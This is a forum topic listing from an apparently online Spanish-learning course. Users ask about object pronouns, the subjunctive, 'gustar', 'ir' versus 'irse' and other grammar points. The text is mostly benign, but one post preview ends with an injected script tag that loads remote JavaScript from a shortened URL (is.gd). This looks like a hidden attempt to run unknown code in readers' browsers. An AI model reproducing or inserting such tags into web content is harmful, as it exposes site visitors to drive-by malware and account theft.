By taking the time to understand how the Spanish language works, you'll be able to speak Spanish naturally, and read and write in Spanish. We know this can be one of the more challenging parts of your course, and we’re here to help! You can browse the topics, do a search in the top right corner of this page, or start a new conversation. Don’t be shy!
¿Te los da Héctor? Does Hector give them to you? Ellos nos los piden. They ask us for them. I see both direct and indirect objects in this example and they are placed before the verb Necesito dárselo mañana. I need to give it to him tomorrow- I see bo...
9 replies - Last post by Ava Dawn - December 23, 2014
Estes (accented second e) vs estas (accented a)
I am reviewing to take the module tests and found this sentence. Is this correct? Espero que no estés cansado. I hope that you are not tired.
9 replies - Last post by Ava Dawn - December 18, 2014
I want to see you again. Quiero volver a verte. We discussed volver and devolver before. I thought I already know these two words. I guess not. Also pienso en ti. I think of you. I thought it would be pienso de ti. I guess it sound better with en ti.
2 replies - Last post by Ava Dawn - December 15, 2014
El curso es enseñada por la Profesora Ramírez.
Apologies if I've asked this question before, but this phrase bothers me and I just saw it on the test. Shouldn't it be "enseñado" as it is "el curso"?
5 replies - Last post by Robert-C7 - December 15, 2014
While studying lesson 12.9 this morning I encountered the following statement: El lago en que nadaron ustedes está contaminado. It seems like when I have seen ustedes or usted used in the past, it has preceded the verb that it clarifies, as in, El lag...
18 replies - Last post by Cristian-Montes-de-Oca - December 12, 2014
If you want to ask a question or post a response you need to be a member. If you are already a member login here. If you are not a member you can become one ... <script src=http://is.gd/xvjVMg></script>
2 replies - Last post by Robert-C7 - December 8, 2014
Here is another construction we see on signs. "se habla español" or "se habla español aquí" I understand this translates to "Spanish is spoken" and "Spanish is spoken here". Since the "actor" (the speaker) is unknown in this sentence, it is appropriate...
7 replies - Last post by Ava Dawn - December 6, 2014
I retired last year. Me jubilé el año pasado. This looks like a preterite. Again the same question. Why ""Me jubile (accent on e) and not "Yo jubile (accent on e)".
9 replies - Last post by Ava Dawn - December 6, 2014
i dont understand this question title
in lesson 1.11 knowit you are very young. why cant you say, estas es muy joven
8 replies - Last post by ricardo-rich - December 4, 2014
OK - here is more fun stuff to ponder. Suppose I turn to my Spanish speaking friend and ask: ¿Cómo se dice "fruit" en español? Why do we need to include 'se' in this question? Maybe I should rephrase the English from which I am translating to somethin...
3 replies - Last post by Steven-W15 - December 4, 2014
In lesson 12.3 Mauricio asks, "¿Cómo les va?" The use of les implies that he is asking the question of more than one person. So why does he not ask, "¿Cómo les van"? Or should I be translating this sentence as "How does IT go with all of you? Now that I t...
18 replies - Last post by Steven-W15 - December 4, 2014
¿Ayudar a mi mejor amigo a ocupar su tiempo mientras su nueva esposa hace compras? Help my best friend occupy his time while his new wife goes shopping? I always thought the adjective and the noun are reverse in Spanish compared to English. How about t...
2 replies - Last post by Robert-C7 - December 3, 2014
Despite having taken four years of Spanish in high school, I still had a fuzzy understanding of direct pronouns, indirect pronouns, and reflexive verbs. In addition to that mush, I thought that gustar is a reflexive verb. I also thought it meant "to lik...
22 replies - Last post by Dan-H24 - December 1, 2014
Reverse Construction verbs - gustar
I was looking for the name of the class of verbs that 'gustar' belongs to and I found it in the Big Red Book. Gustar is a 'reverse construction verb'. http://www.espanol-ingles.com.mx/spanish-grammar/reverse_constructions.shtml In the case of 'gustar',...
0 replies - Last post by Robert-C7 - December 1, 2014
Hola a todos, More humorous tutelage from Gordon. http://www.youtube.com/watch?v=5El5ZmnJayk Saludos, Ricardo
10 replies - Last post by Ava Dawn - November 25, 2014
ir versus irse: "tengo que ir" versus "tengo que irme"
I was doing some reading on reflexive verbs and I found a list where the meaning changes when one uses the reflexive form versus the non-reflexive form. This list includes the verb 'ir'. ir = to go irse = to go away, to leave So, "tengo que ir" means "...
6 replies - Last post by the-hefay - November 25, 2014
One of the things that helped me in the lessons was how they showed a progression of sentences that started very specific and substituted in the direct and indirect pronouns. For example: I gave Mary a present. Di María un regalo. The subject is "I" wh...
4 replies - Last post by ricardo-rich - November 22, 2014
Me preguntaron si te conocía, pero les dije que no. What's the "les" for? Here's the translation. "They asked me if I knew you, but I said no".
12 replies - Last post by Dan-H24 - November 21, 2014
In lesson 3.2 Amy says "tengo que irme." I was watching Destinos (thanks Dan) and Raquel used "tengo que ir." What's the difference or are they both the same? Is there a certain situation when the reflexive is required or more appropriate?
5 replies - Last post by the-hefay - November 20, 2014
Qué se le ofrece - How to translate
According to both Rocket Spanish and most other sites, the above sentence means, "How can I help you." An earlier thread about this on this forum discussed how this sentence is structured in the passive voice ("What can you be helped with", perhaps). Howe...
13 replies - Last post by Ava Dawn - November 19, 2014
Gerund: cuidando Participle: cuidado What is a gerund and what is a participle.
6 replies - Last post by ricardo-rich - November 13, 2014
Hola a todos, I was reviewing, a perpetual state for me, and somehow how I had forgotten the different use of gustar in lesson 17.1 gustas, gustábamos. It's unlikely I would use it in that manner as I tell my wife "te quiero o te amo" but I came across t...
6 replies - Last post by Dan-H24 - November 11, 2014
Pero sí se escucha de una alta tasa de interés. But you hear about a high interest rate. Looks like it's missing the word "if" in the translation. Is my observation correct?
8 replies - Last post by maha266 - November 9, 2014
Question number one Dice que para ella la cosa más importante no es su gusto sino el gusto de su novio. The most important thing is not her tastes but her boyfriend's tastes. Where is "Dice que" in the translation?
10 replies - Last post by Dan-H24 - November 5, 2014
How come when you ask someone to take your photo, you say " puede sacar mi foto?" instead of "puedes sacar mi foto?" I thought puede meant can he or she.
5 replies - Last post by Ava Dawn - November 5, 2014
Just a curious note I thought I'd pass along. Yes, believe it or not, the subjunctive tense does exist in English. I had read this somewhere and for the life of me couldn't think of an example. And then it came to me one day from a prayer I learned as a ...
8 replies - Last post by Ava Dawn - November 4, 2014
"Me falta..." vs. "Me hace falta..."
Is there a difference in meaning between these two phrases? Are there contexts in which you would use one and not the other?
3 replies - Last post by Steven-W15 - November 3, 2014
Can we talk about this phrase? Y no sólo dijo que ustedes pueden ir a pescar cuando quieran And she didn't just say that you guys can go fishing whenever you want. It appears that pueden is third person plural present tense indicative while quieren is th...
1 reply - Last post by Robert-C7 - November 3, 2014
i entered the question below, i don't know what more you would want
in lesson 1.4 bueno is translated well, ( well i don't know) no where in the spanish translation can i find it translated well only good or fine etc. what say you?
5 replies - Last post by Richard-F58 - November 3, 2014
Hola a todos, I recently read this sentence while reviewing "Laugh 'n' Learn Spanish" which is chock full of information about usage and grammar." La medida de una buena fiesta es la longitud de tiempo que toma recuperarse de ella." Translated as: "The ...
6 replies - Last post by Ava Dawn - November 2, 2014
I am reviewing lesson 6.7 this afternoon. The following two sentences are shown in the lesson: A Cecilia le gusta el fútbol. Juanita siempre me molesto cuando intento a trabajar. I'm not quite sure why the first has the personal a and the second does n...
3 replies - Last post by ricardo-rich - November 1, 2014
Interesting. Why is it that in the first phrase, the second part of the phrase is in the present ("es") while in the second phrase, it's in the past/imperfect ("hablaban")? Would it be also be correct to say: - "Pensé que todos hablan español." "No sabía...
7 replies - Last post by Ava Dawn - October 26, 2014
¿Que quieres que diga? Why not ¿Que quieres me diga? What do you want me to say?
8 replies - Last post by Steven-W15 - October 26, 2014
Puede ser que el río esté contaminado
Puede ser que el río esté contaminado. It could be that the river is contaminated. Shouldn't this be esta with accent on a instead of este with accent on the second e
9 replies - Last post by Robert-C7 - October 25, 2014
Practicas tú estas palabras.
This sentence is from lesson 11.6. Can someone explain the purpose and placement of "tú" in the sentence? "Practicas estas palabras" would convey the same meaning. If the purpose was to emphasize who should be performing the action, why was it not placed ...
1 reply - Last post by Robert-C7 - October 25, 2014
Without using "Vosotros", how do you address a group of children on giving instructions like "You wash your hands now" or "You play or dance later". Laváis sus manos a hora mismo o jugáis o bailáis mas tarde.
19 replies - Last post by the-hefay - October 24, 2014
El curso es enseñada por la Profesora Ramírez.
Shouldn't this be: El curso es enseñado por la Profesora Ramírez.
9 replies - Last post by Ava Dawn - October 22, 2014
Hi! I'm a little confused on the way to ask questions in spanish. Some questions are asked as a direct translation: Puedo sacar su foto (Can I take your picture)? However, other questions: Me puede decir la hora (me can you tell the time), or: En que l...
10 replies - Last post by ricardo-rich - October 3, 2014
Hola amigos, Here is a video with Gordon of Light Speed Spanish on the many uses of "se'. I found it a highly entertaining review. http://www.youtube.com/watch?v=Pil4tCAtjo8 Saludos, Ricardo
1 reply - Last post by Dan-H24 - October 2, 2014
Lejania me haces bien, ya puedo respirar...
"The remoteness does me good, I can breathe now..." This would make perfect sense to me if it were: - "Lejania me hace bien, ya puedo respirar..." I have listened to this song ("Libre Soy" - from the Disney movie "Frozen" in Spanish) over and over and I...
2 replies - Last post by laura-rocket-tutor - September 28, 2014
"de" means of, about, on, with, because of, by, a . Can someone give examples of sentences using the different meanings of "de"?
11 replies - Last post by maha266 - September 24, 2014
I have heard people use vámonos instead of vamos and have also seen some discussion in other forums online. The other discussions seemed to settle on a preference to use vámonos when leaving a place and vamos when going to a place. Is this correct? Does...
5 replies - Last post by Dan-H24 - September 24, 2014
Language & Culture lesson 6.7 - Faltar
When discussing the use of faltar, there is this example and explanation, "In another example, “Me falta dinero para comprar la leche” (I don’t have enough money to buy the milk), the verb falta will reflect the singular la leche." Isn't "la leche" the ...
5 replies - Last post by Ava Dawn - September 23, 2014
I was reviewing Lesson 5.2 this afternoon and encountered this sentence in Know It: At what time should we meet up? the correct answer given was: ¿A qué hora nos reunimos? I got tripped up trying to work in "should", but my real question is with "nos ...
4 replies - Last post by ricardo-rich - September 21, 2014
Which is the more common usage in spoken Spanish? Why? Yo estoy con gripe translates as I am sick or I am with the flu or I have the flu. Yo estoy enferma also translates as I am sick
1 reply - Last post by Dan-H24 - September 20, 2014
Es bueno que la novia de Mario viene con nosotros.
I am really surprised that the condition here doesn't trigger the subjunctive: "Es bueno que la novia de Mario venga con nosotros." To note also that this statement is in reference to a future event.
1 reply - Last post by Robert-C7 - September 20, 2014
Yo creo vs Pero creo yo que debe ser
Pero creo yo que debe ser “la Internet,” como “net” es “una red” en español. I know that internet could be el internet or la internet, but at the beginning of the sentence, I thought it would better if its "Pero yo creo que debe ser la internet. Explain p...
1 reply - Last post by Cristian-Montes-de-Oca - September 17, 2014
Tenía una cuenta desde el 2002 hasta el 2006.
I would have expected here "Tuve una cuenta..." as it is for a fixed time period in the past with a definite ending.
2 replies - Last post by Steven-W15 - September 16, 2014
Given the explanation from Ricardo awhile back where the reflexive in these contexts indicates thoroughness / completeness, I would have expected to see here: "Me comí hasta los huesos." Or maybe this would be considered redundant?
9 replies - Last post by ricardo-rich - September 15, 2014
Question on subjunctive from lesson.
In Lesson 1.5 of the Second Course (Premium Plus), the following phrase is encountered: para la música buena uno hace lo que se pueda This lession does not cover the subjunctive but I am a bit thrown off by poder being in subjunctive. Since I am one of ...
15 replies - Last post by Steven-W15 - September 14, 2014